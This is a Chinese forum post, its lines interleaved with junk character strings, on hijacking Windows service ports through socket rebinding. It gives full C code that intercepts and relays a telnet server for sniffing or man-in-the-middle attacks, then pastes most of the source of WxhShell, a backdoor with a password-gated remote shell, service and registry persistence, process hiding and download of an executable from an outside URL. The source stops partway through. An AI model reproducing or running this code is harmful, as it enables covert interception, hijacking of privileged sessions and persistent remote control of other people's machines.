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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JbT+w \o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t8vR9]n  
L=`QF'Im  
  saddr.sin_family = AF_INET; *nb `DR  
<2b&AF{En  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F@m]Imn5Dx  
O &DkB*-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iBCZx>![;  
6T-h("t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X`/3X}<$7  
s98Jh(~  
  这意味着什么?意味着可以进行如下的攻击: ;#'YO1`gf3  
L`sg60z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Po(Y',xI[  
9o)sSaTx=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UoD S)(i  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6"3-8orj   
G$#Q:]N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'G] P09`*)  
NC]]`O2r@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'gBns  
%S$P<nKN5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 isU7nlc!  
 :P,g,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U;SReWqU  
qp#Is{=m  
  #include 36]pE<  
  #include }~W:3A{7;  
  #include UA>3,|gV1  
  #include    i}&&rr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P{T\zT  
  int main() eBlWwUy*6f  
  { gMXs&`7P  
  WORD wVersionRequested; ]~a;tF>Fw  
  DWORD ret; &%@e6..Ex  
  WSADATA wsaData; '3%JhG)#  
  BOOL val; 1omjP`]|,  
  SOCKADDR_IN saddr; u^6@!M  
  SOCKADDR_IN scaddr; Q#kSp8  
  int err; }j+Af["W?  
  SOCKET s; (Dat`:  
  SOCKET sc; 3H^0v$S  
  int caddsize; |uUGvIsXn  
  HANDLE mt; #%Hk-a=>)#  
  DWORD tid;   "|N58%  
  wVersionRequested = MAKEWORD( 2, 2 ); 'SW%EVB  
  err = WSAStartup( wVersionRequested, &wsaData ); Ux[2 +Cf  
  if ( err != 0 ) { KjWF;VN*[3  
  printf("error!WSAStartup failed!\n"); 3(2WO^zX {  
  return -1; I |PEC-(  
  } 2/WtOQI B  
  saddr.sin_family = AF_INET; PpXzWWU":  
   GGM|B}U p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ppm =o4`s[  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PL/g@a^tY  
  saddr.sin_port = htons(23); $Cgl$A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wDQ@$T^vh  
  { #}PQ !gZ  
  printf("error!socket failed!\n"); 8k( zU>^  
  return -1; t4;eabZK  
  } k kZ2Jxvx  
  val = TRUE; R"wBDWs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ='W=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m&PfZ%'[  
  { MZ2/ks  
  printf("error!setsockopt failed!\n"); kC,=E9)O  
  return -1; saRYd{%+  
  } MV{\:l}y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [ Xa,|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %fT%,( w}t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ie<H4G5Vh  
T\ *#9a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A ".v+  
  { T }}T`Ce  
  ret=GetLastError(); kk`K)PESi  
  printf("error!bind failed!\n"); ^l:~r2  
  return -1; Cy frnU8g  
  } ]KQv ]'  
  listen(s,2); t)kc`3i<A  
  while(1) @$Xl*WT7  
  { @=7[KMb  
  caddsize = sizeof(scaddr); 'fK3L<$z#m  
  //接受连接请求 vw'xmzgA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cv{icz,%w  
  if(sc!=INVALID_SOCKET) 3u 'VPF2  
  { zb]e {$q2C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QkFB \v  
  if(mt==NULL) aZ,j1j0p  
  { -l Y,lC>{  
  printf("Thread Creat Failed!\n"); m >Rdsn~l  
  break; A_!N,< -  
  } !+k);;.+  
  } NR>&1aRbyb  
  CloseHandle(mt); SeV`RUO  
  } 8aqH;|fG}  
  closesocket(s); }6'%p Bd  
  WSACleanup(); _4f=\  
  return 0; UVd ^tg  
  }   bMA0#e2  
  DWORD WINAPI ClientThread(LPVOID lpParam) b F MBIA|  
  { <e?1&56  
  SOCKET ss = (SOCKET)lpParam; 4<j7F4  
  SOCKET sc; *V`E)maU  
  unsigned char buf[4096]; ;b5^) S  
  SOCKADDR_IN saddr; M=M~M$K  
  long num; s||c#+j"8  
  DWORD val; R?3N><oh*  
  DWORD ret; c W1`[b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j].=,M<dxE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S`Xx('!/|  
  saddr.sin_family = AF_INET; LE|DMz|J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q\nIU7:bZ  
  saddr.sin_port = htons(23); @CtnV|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ak dx1h,  
  { 1`sTGNo  
  printf("error!socket failed!\n"); ,bxGd!&{Q  
  return -1; 4Uk\hgT0  
  } OcE,E6LD  
  val = 100; e#AmtheZR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U>i}C_7g  
  { /u&7!>,  
  ret = GetLastError(); 0;L.h|R T(  
  return -1; BM o2t'L  
  } :anR/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ KDNKK  
  { Z?<&@YQS  
  ret = GetLastError(); uhm3}mWv  
  return -1; JLbmh1'  
  } YfstE3BV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a)8;P7  
  { P8X59^cJ  
  printf("error!socket connect failed!\n"); ei82pLM z  
  closesocket(sc); ]&?8l:3-G  
  closesocket(ss); S-[S?&c`  
  return -1; lt("yqBu  
  } ATWa/"l(H-  
  while(1) kxLWk%V  
  { `qV*R 2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FN<S agj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _]zH4o<p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l[6lXR&|  
  num = recv(ss,buf,4096,0); 0m,q3  
  if(num>0) Fr_6pEH]}  
  send(sc,buf,num,0); q`|rS6  
  else if(num==0) 0iV~MQZ(  
  break; Ov#G7a"  
  num = recv(sc,buf,4096,0); >x1yFwX}-f  
  if(num>0) 7fC:' 1]G  
  send(ss,buf,num,0); 1=_Qj}!1  
  else if(num==0) M2nWvU$  
  break; 489xoP  
  } G-TD9OgZ  
  closesocket(ss); z+K1[1SM  
  closesocket(sc); \iA.{,VX  
  return 0 ; 9DmFa5E  
  } gh-i| i,  
Ltk-1zhI  
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========================================================== XFv^j SF  
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下边附上一个代码,,WXhSHELL IAJ+n0U  
t 2,?+q$x  
========================================================== e8eNef L$  
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#include "stdafx.h" oL7F^34;  
h2 y<vO  
#include <stdio.h> FY)US>  
#include <string.h> ]wUH*\(y  
#include <windows.h> s~m]>^?8MR  
#include <winsock2.h> '?$R YU,  
#include <winsvc.h> C;%1XFzM  
#include <urlmon.h> T930tX6"h  
%us#p|Ya  
#pragma comment (lib, "Ws2_32.lib") 8<{i=V*x4  
#pragma comment (lib, "urlmon.lib") \ cdns;  
WIN3*z7oW  
#define MAX_USER   100 // 最大客户端连接数 +`ug?`_  
#define BUF_SOCK   200 // sock buffer aP]h03sS  
#define KEY_BUFF   255 // 输入 buffer w8bvqTQ  
r&_e3#]*  
#define REBOOT     0   // 重启 E"7[|-`e6  
#define SHUTDOWN   1   // 关机 /z )Nz2W  
Ab8Ke|fA  
#define DEF_PORT   5000 // 监听端口 CY\D.Eow  
<cFj-Ys(T  
#define REG_LEN     16   // 注册表键长度 M6j~`KSE  
#define SVC_LEN     80   // NT服务名长度 z<_a4 ffR  
lV9   
// 从dll定义API Svdmg D!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }1 j'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _K B%g_{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;?v&=Z't.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Iiu#- 'B  
buDz]ec b  
// wxhshell配置信息 S4pEBbV^n  
struct WSCFG { J(SGaHm@  
  int ws_port;         // 监听端口 * ).YU[i  
  char ws_passstr[REG_LEN]; // 口令 y@r0"cvz9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?KWo1  
  char ws_regname[REG_LEN]; // 注册表键名 @p@b6iLpO  
  char ws_svcname[REG_LEN]; // 服务名 $$XeCPs 0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KV! (   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q\}Ck+d` a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =y=MljEX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n7|,b- <  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VI-6t"l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dl(!{tZ#  
6#Rco%07zI  
}; XRTiC #6  
C#B|^A_  
// default Wxhshell configuration R\-]$\1D  
struct WSCFG wscfg={DEF_PORT, K'y|_XsBB)  
    "xuhuanlingzhe", @aP1[(m  
    1, :%h|i&B  
    "Wxhshell", e@1A_q@.  
    "Wxhshell", A1*\ \[  
            "WxhShell Service", MpTOC&NG%s  
    "Wrsky Windows CmdShell Service", !;K zR&  
    "Please Input Your Password: ", O Q$C#:?  
  1, {&a6<y#-  
  "http://www.wrsky.com/wxhshell.exe", ^b4i9n,t1  
  "Wxhshell.exe" m ?*h\NaB  
    }; T:".{h-i  
211V'|a_ >  
// 消息定义模块 {w@9\LsU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =ui3I_*)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9ji`.&#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =mSu^q(l  
char *msg_ws_ext="\n\rExit."; 'hFL`F*  
char *msg_ws_end="\n\rQuit."; ;0`IFtz  
char *msg_ws_boot="\n\rReboot..."; >I',%v\?@  
char *msg_ws_poff="\n\rShutdown..."; LQR^lD+_=  
char *msg_ws_down="\n\rSave to "; HBZ6Pj  
dkeMiL m  
char *msg_ws_err="\n\rErr!"; Ro;I%j  
char *msg_ws_ok="\n\rOK!"; mW~*GD~r  
s~ou$!|  
char ExeFile[MAX_PATH]; o$Y#C{wC%  
int nUser = 0; ErgWsAw-  
HANDLE handles[MAX_USER]; sLWVgD  
int OsIsNt; ,N nh$F  
(/E@.z[1  
SERVICE_STATUS       serviceStatus; 0\, !  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4K 8(H9(  
XM#nb$gl  
// 函数声明 ]^Xj!01~  
int Install(void); T=RabKVYP  
int Uninstall(void); qFl|q0\ A  
int DownloadFile(char *sURL, SOCKET wsh); Xkk 8#Y":  
int Boot(int flag); E^0a; |B[  
void HideProc(void); =\mJ5v"hA  
int GetOsVer(void); TF80WMt  
int Wxhshell(SOCKET wsl); YI`BA`BQ8  
void TalkWithClient(void *cs); BO8?{~i  
int CmdShell(SOCKET sock); Dy:r)\KX  
int StartFromService(void); h6}rOchj  
int StartWxhshell(LPSTR lpCmdLine); <8YvsJ  
ah,"c9YX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :^-\KE` 3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <\ eRa{ef  
{ `xC~B h  
// 数据结构和表定义 0{I-x^FI  
SERVICE_TABLE_ENTRY DispatchTable[] = )[u'LgVN/L  
{ ~Orz<%k.  
{wscfg.ws_svcname, NTServiceMain}, `Y^l.%AZZ  
{NULL, NULL} SbQ:vAE*ho  
}; dn:\V?9  
qJ .XI   
// 自我安装 nB 0KDt_  
int Install(void) Yh Ow0 x  
{ JcMl*k  
  char svExeFile[MAX_PATH]; suYbD!`(  
  HKEY key; 'Hs*  
  strcpy(svExeFile,ExeFile); 4?bvJJuf)  
*_P'>V#p  
// 如果是win9x系统,修改注册表设为自启动 J#q^CWN3R  
if(!OsIsNt) { ,gM:s}l!dJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YQWq*o^:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _xy[\X;9  
  RegCloseKey(key); "rfBYl`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <;uM/vS i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?b"'w  
  RegCloseKey(key); &aa3BgxyE  
  return 0; -%Rbd0gVH\  
    } awjAv8tPO!  
  } }Oqt=Wm  
} 4Xww(5?3  
else { `m #i|8  
m&z(2yb1  
// 如果是NT以上系统,安装为系统服务 '=eVem=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fJ6Q:7  
if (schSCManager!=0) $*LBZcL  
{ URt+MTU[  
  SC_HANDLE schService = CreateService V F b  
  ( )eqF21\  
  schSCManager, U3{4GmrT  
  wscfg.ws_svcname, _/u(:  
  wscfg.ws_svcdisp, ((<\VQ,>(  
  SERVICE_ALL_ACCESS, {[hgSVN ;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Lg4Cx  
  SERVICE_AUTO_START, rO YD[+  
  SERVICE_ERROR_NORMAL, mIPDF1= )  
  svExeFile, $RunGaX!=N  
  NULL, KD\sU6  
  NULL, WF_QhKW|k  
  NULL, IYHNN  
  NULL, )vpYVr-  
  NULL wQ~]VV RN  
  ); ggm'9|  
  if (schService!=0) /0$405  
  { 8TK*VOf`  
  CloseServiceHandle(schService); gvD*^  
  CloseServiceHandle(schSCManager); /k(wb4Hv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nLC5FA7<  
  strcat(svExeFile,wscfg.ws_svcname); c=QN!n:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oi]B%Uxy=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jr= fc*f  
  RegCloseKey(key); [LUqF?K&  
  return 0; =BJe}AV  
    } b TZ.y.sI  
  } =+I-9=  
  CloseServiceHandle(schSCManager); <M}O&?N 8x  
} @ &Od1X  
} 2@@evQ  
ZLdIEBi=  
return 1; uu"hu||0_  
} k@h0 }%  
8R-;cBT  
// 自我卸载 5uOz#hN  
int Uninstall(void) @,-D P41g  
{ O{Mn\M6  
  HKEY key; shP}T[<  
F2ISg'  
if(!OsIsNt) { z#rp8-HUDS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OVc)PMp  
  RegDeleteValue(key,wscfg.ws_regname); 2-W y@\  
  RegCloseKey(key); >oaL-01i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;t,v/(/3  
  RegDeleteValue(key,wscfg.ws_regname); 3 TTQf f  
  RegCloseKey(key); W-Vc6cq  
  return 0; K5t.OAA:  
  } E7_OI7C  
} "dE[X` }=  
} )qOcx I  
else { 8?x:PkK  
pYu6[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /L5:/Z  
if (schSCManager!=0) Y>ATL  
{ 3-)}.8F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uPxjW"M+  
  if (schService!=0) DL,]iJm  
  { TIR Is1  
  if(DeleteService(schService)!=0) { (<-m|H};  
  CloseServiceHandle(schService);  pn) {v  
  CloseServiceHandle(schSCManager); mEkYT  
  return 0; {MTtj4$  
  } (d (>0YMv  
  CloseServiceHandle(schService); 8V9OMOt!  
  } =dQ/^C_hj  
  CloseServiceHandle(schSCManager); |JP'j1 Ka  
} e@ $|xa")  
} h@\HPYi#.  
b!`Ze~V  
return 1; U~t!   
} ]VE3u_kR  
o~q.j_Sa  
// 从指定url下载文件 -5|el3%)  
int DownloadFile(char *sURL, SOCKET wsh) %6m' |(-  
{ KrHKM3<  
  HRESULT hr; 9zrTf%m F  
char seps[]= "/"; " vc4QH$  
char *token; 1<MJ3"60  
char *file; IiE^HgM  
char myURL[MAX_PATH]; DUH_LnHw)  
char myFILE[MAX_PATH]; Q9B!0G.-bs  
 6pfkv2.}  
strcpy(myURL,sURL); 'Ffvd{+:8  
  token=strtok(myURL,seps); oDJ &{N|  
  while(token!=NULL) ! hEZV&y  
  { nZc6 *jiz  
    file=token; m_BpY9c]5  
  token=strtok(NULL,seps); 7Kb&BF|Q  
  } C8)Paop$  
Aayd3Ph0%  
GetCurrentDirectory(MAX_PATH,myFILE); 1$6 u  
strcat(myFILE, "\\"); MpvGF7H  
strcat(myFILE, file); _@gg,2 u-  
  send(wsh,myFILE,strlen(myFILE),0); }9#GJ:x`  
send(wsh,"...",3,0); 8bO+[" c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V[kn'QkWv  
  if(hr==S_OK) 0uPcEpIA  
return 0; +7n vy^m  
else pGy k61  
return 1; w(t1m]pF[  
JO&RuAq  
}  yOvV"x]  
DIWyv-  
// 系统电源模块 ,j\uvi(Y  
int Boot(int flag) v0tFU!Q%  
{ dLwP7#r  
  HANDLE hToken; 4mEJu  
  TOKEN_PRIVILEGES tkp; Gm=&[?}  
l @@pXg3  
  if(OsIsNt) { ^P/OHuDL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  w}t}Sh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m qUDve(  
    tkp.PrivilegeCount = 1; !dcvG9JZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d{@'&?tj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cfg.&P>   
if(flag==REBOOT) { BM)a,fIgo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  E<0Mluk  
  return 0; N2k{@DY  
} A )CsF  
else { <S6?L[_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hN gT/y8  
  return 0; !W0JT#0  
} 7.g,&s%q  
  } \u[5O@v#  
  else { .*>C[^  
if(flag==REBOOT) { X.,R%>O}`P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a|3+AWL%  
  return 0; 1p&=tN  
} =?wDQ:  
else { QR8]d1+GV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nGc'xQy0  
  return 0; PU B0H  
} )J+rt^4|  
} 7Q~W}`Qv'  
T2)CiR-b  
return 1; Us pv^O9_  
} {TMng&  
qs_cC3"=%=  
// win9x进程隐藏模块 q D=b+\F  
void HideProc(void) \_(0V"  
{ qNrLM!Rj  
Fl{~#]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xy$aFPH!-  
  if ( hKernel != NULL ) T?.l_"%%d  
  { D+jvF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CL-?Mi=Uc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g/P1lQ)  
    FreeLibrary(hKernel); *`/4KMrq  
  } \9od*y  
l 6aD3?8LN  
return; oY,{9H37b  
} :J2^Y4l2  
IDh`*F  
// 获取操作系统版本 &G\C[L  
int GetOsVer(void) ;b=7m#5  
{ ]6|?H6'/`v  
  OSVERSIONINFO winfo; "SWL@}8vx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V|HO*HiB3  
  GetVersionEx(&winfo); (I>SqM Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f.oY:3h:  
  return 1; xUa9>=JU{  
  else UCFFF%  
  return 0; ';D>Z ?l  
} l ^}5PHLd  
vMn$lT@  
// 客户端句柄模块 Y(EF )::  
int Wxhshell(SOCKET wsl) FJ?]|S.?,  
{ <veypLi"R  
  SOCKET wsh; HTMo.hr  
  struct sockaddr_in client; \Ov~ t  
  DWORD myID; c5O8,sT  
kXUJlLod  
  while(nUser<MAX_USER) F* Yx1vj  
{  dBN:  
  int nSize=sizeof(client); {`J!DFfur  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (r}StR+  
  if(wsh==INVALID_SOCKET) return 1; \RFA?PuY  
/; 21?o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &f?JtpB  
if(handles[nUser]==0) NxK.q)tj6  
  closesocket(wsh); rfSEL 57'  
else 1L\r:mx3  
  nUser++; |N 2r?b/g  
  } gS]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7M?Sndp$  
_@y9=e  
  return 0; 9O^~l2`  
} G2@'S&2@s  
9fM=5  
// 关闭 socket P$^I\aGO  
void CloseIt(SOCKET wsh) `(O#$n  
{ $,I@c"m{  
closesocket(wsh); JlEfUg#*  
nUser--; ;4v`FC>  
ExitThread(0); ,,)'YhG(  
} $I ,Np)i  
Ze[\y(K!  
// 客户端请求句柄 Jk{v (W#  
void TalkWithClient(void *cs) 4wa3$Pk  
{ jC?l :m?  
b0se-#+  
  SOCKET wsh=(SOCKET)cs; 3k8. 5W  
  char pwd[SVC_LEN]; %6M%PR~u  
  char cmd[KEY_BUFF]; !Ow M-t  
char chr[1]; X;vU z  
int i,j; 6vJ S"+ <  
[+}0K{(O=  
  while (nUser < MAX_USER) { XJq]l6a:  
jgkY^l  
if(wscfg.ws_passstr) { SVV-zz]3M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mfDt_Iq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *Id[6Z  
  //ZeroMemory(pwd,KEY_BUFF); RgM=g8}M  
      i=0; ~rAcT6#  
  while(i<SVC_LEN) { kKC] n   
 Sb)}  
  // 设置超时  5pHv5e  
  fd_set FdRead; V;~\+@  
  struct timeval TimeOut; Lo}/k}3Sx  
  FD_ZERO(&FdRead); _Ii=3Qsf  
  FD_SET(wsh,&FdRead); lC d\nE8G  
  TimeOut.tv_sec=8; * $1F|G  
  TimeOut.tv_usec=0; X>]<rEh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yRQNmR;Uy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #}tdA( -  
dWhqu68_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #AO}JP  
  pwd=chr[0]; " Z dI~  
  if(chr[0]==0xd || chr[0]==0xa) { TKEcbGhy  
  pwd=0; OsYZ a`$,  
  break; ?D_}',Wx  
  } :."+&gb  
  i++; yy3`E}vX7  
    } yaHkWkl =  
qB`%+<)C  
  // 如果是非法用户,关闭 socket -|=)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -`t9@1P> =  
} bIV9cpW  
{q~N$"#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aan(69=jz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p}X *HJq$  
5,Co(K  
while(1) { jz\>VYi(7  
6hXh;-U  
  ZeroMemory(cmd,KEY_BUFF); 6_g6e2F  
P4E_<v[  
      // 自动支持客户端 telnet标准   l)EtK&er(}  
  j=0; 4>N ig.#   
  while(j<KEY_BUFF) { : ' pK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W(.svJUgb.  
  cmd[j]=chr[0]; dLR[<@E  
  if(chr[0]==0xa || chr[0]==0xd) { FL0yRF5  
  cmd[j]=0; rK'O 85)eU  
  break; ( "<4Ry.u  
  } Fa#5a'}I  
  j++; D>-Pv-f/  
    } #wh[F"zX  
h]VC<BD6S  
  // 下载文件 xZQyH  
  if(strstr(cmd,"http://")) { a%/x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,wyEo>>4)  
  if(DownloadFile(cmd,wsh)) wDBU+Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?;/H  
  else b%VZPKA;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,}I m^~5  
  } |n(b>.X  
  else { #!r>3W&  
FIQHs"#T  
    switch(cmd[0]) { (^<skx>  
  =#&+w[4?&.  
  // 帮助 N)KN!!  
  case '?': { kn&BGYt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N[yS heT  
    break; Qv8 =CnuOT  
  } W{ZJ^QAq/  
  // 安装 C2DAsSw  
  case 'i': { GAh\ 6ul  
    if(Install()) H8Z|gq1r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &nY#G HB  
    else O}6*9Xy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ydE}.0zN  
    break; @?t+O'&  
    } K>-01AGHL  
  // 卸载 0rAuK7  
  case 'r': { Jl$ X3wE  
    if(Uninstall()) N4WX}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A 0;ng2&  
    else e_1L J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xi)M8\K  
    break; 1XHE:0!dQ  
    } ?|n@ %'  
  // 显示 wxhshell 所在路径 wV4MP1c$  
  case 'p': { Nfmr5MU_  
    char svExeFile[MAX_PATH]; TEC#owz  
    strcpy(svExeFile,"\n\r"); }rWg ']  
      strcat(svExeFile,ExeFile); DMKtTt[}  
        send(wsh,svExeFile,strlen(svExeFile),0); JDO n`7!w  
    break; Z)}2bJwA  
    } "`* >co6r  
  // 重启 %e+*&Z',  
  case 'b': { F$O$Y[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &NI\<C7_Gw  
    if(Boot(REBOOT)) }CrWmJu0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i=V2 /W}  
    else { jk%H+<FU`  
    closesocket(wsh); ')(U<5y)  
    ExitThread(0); acj-*I  
    } 3u,B<  
    break; M L7vP  
    } +\>op,_9I  
  // 关机 Q>L.  
  case 'd': { @q{.shqo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nu[["f~  
